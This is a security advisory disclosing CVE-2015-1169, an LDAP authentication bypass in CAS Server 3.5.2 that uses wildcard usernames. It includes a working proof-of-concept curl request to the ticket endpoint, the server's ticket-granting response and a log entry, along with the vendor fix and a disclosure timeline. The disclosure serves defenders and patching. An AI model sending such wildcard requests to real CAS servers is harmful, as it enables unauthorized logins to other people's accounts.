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CAS Server 3.5.2 LDAP Authentication Bypass

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=====[Alligator Security Team - Security Advisory]========

CVE-2015-1169 - CAS Server 3.5.2 allows remote attackers to bypass LDAP
authentication via crafted wildcards.

Reporter: José Tozo < juniorbsd () gmail com >

=====[Table of Contents]==================================

1. Background
2. Detailed description
3. Other contexts & solutions
4. Timeline
5. References

=====[1. Background]======================================

CAS is an authentication system originally created by Yale University to
provide a trusted way for an application to authenticate a user.

=====[2. Detailed description]============================

A valid username and password required.

Given a username johndoe and a password superpass, you can sucessfully
achieve login using wildcards:

username: jo*
password: superpass

The login will be sucessfully only if the ldap bind search return one
unique member.

The vulnerability described in this document can be validated using the
following example:

Client Request:
root@machine:/# curl -k -L -d "username=jo%2A&password=superpass"
https://login.cas-server.com/v1/tickets

(note that * was url encoded to %2A)

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>201 The request has been fulfilled and resulted in a new
resource being created</title>
</head>
<body>
<h1>TGT Created</h1>
<form action="
https://xxx.xxx.xxx.xxx/v1/tickets/TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz"
method="POST">Service:<input type="text" name="service" value=""><br><input
type="submit" value="Submit"></form>
</body>
</html>

Server log:
=============================================================
WHO: [username: jo*]
WHAT: TGT-76-ABTSuXWB7sECDGqbe5W4jyxR43YYiTubPsEup9m4gNFpytGSaz
ACTION: TICKET_GRANTING_TICKET_CREATED
APPLICATION: CAS
WHEN: Tue Jan 20 18:38:17 BRST 2015
CLIENT IP ADDRESS: xxx.xxx.xxx.xxx
SERVER IP ADDRESS: xxx.xxx.xxx.xxx
=============================================================

=====[3. Other contexts & solutions]======================

In order to apply the patch, you have to update at least to version 3.5.3.
Newer versions, such as CAS 4.0.0 and above, are not vulnerable.

=====[4. Timeline]========================================

29/12/14 Vendor notification.
14/01/15 Vendor rolled out new version 3.5.3
17/01/15 Mitre assigned CVE-2015-1169.
21/01/15 Disclosure date.

=====[5. References]=======================================

1 - https://github.com/Jasig/cas/pull/411
2 -
https://github.com/Jasig/cas/commit/7de61b4c6244af9ff8e75a2c92a570f3b075309c

--
Grato,

Tozo

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